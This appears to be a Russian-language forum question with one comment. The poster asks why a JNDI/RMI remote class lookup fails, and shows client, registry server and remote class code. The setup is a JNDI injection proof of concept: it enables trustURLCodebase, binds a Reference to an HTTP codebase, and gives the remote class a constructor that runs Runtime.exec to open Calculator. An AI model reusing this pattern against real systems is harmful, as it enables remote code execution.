#java #jndi #rmi
Вопрос:
моя версия java: 1.8.0_282
это клиент:
import java.rmi.registry.*;
import javax.naming.*;
public class RegistryClient {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context registry = new InitialContext();
registry.lookup("rmi://127.0.0.1:1099/Demo");
System.out.println("done");
}
}
это сервер:
import java.rmi.registry.*;
import javax.naming.*;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RegistryServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference(
"xxx",
"RMIRegistryDemoRemote",
"http://127.0.0.1:8000/"
);
ReferenceWrapper hello = new ReferenceWrapper(refObj);
registry.bind("Demo", hello);
System.out.println("[!] server is ready");
}
}
это интерфейс и реализация RMIRegistryDemo:
import java.rmi.*;
public interface RMIRegistryDemo extends Remote {
String sayHello(String name) throws Exception;
}
import java.rmi.server.*;
import java.rmi.*;
public class RMIRegistryDemoImpl extends UnicastRemoteObject implements RMIRegistryDemo {
public RMIRegistryDemoImpl() throws Exception {}
String id = "10";
@Override
public String sayHello(String name) {
System.out.println(id);
return "Hi, " name;
}
}
это удаленный класс .:
import java.io.IOException;
public class RMIRegistryDemoRemote {
public RMIRegistryDemoRemote() throws IOException {
final Process process = Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}
после:
- запустите сервер регистрации
- развернул веб-сервер для отправки RMIRegistryDemoRemote.class
- запустите RegistryClient
клиент просто печатает «готово», и в моем блоге нет журнала доступа:
# overflow in ~/Downloads/test [16:16:44]
» javac RegistryClient.java amp;amp; java RegistryClient
done
# overflow in ~/Downloads/test/remote [16:20:05]
» python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
что вызывает это?
Комментарии:
1. Вы забыли показать исключение или что-то еще, что заставляет вас думать, что «загрузка удаленного класса не удалась». Вам не нужно использовать
com.sun.jndi.rmi.registry.ReferenceWrapper
напрямую. JNDI восстановит его для вас, когда вы свяжетесь. Мне непонятно, зачем выReference
вообще используете, или действительно JNDI. Ты, кажется, делаешь гору из мухи слона.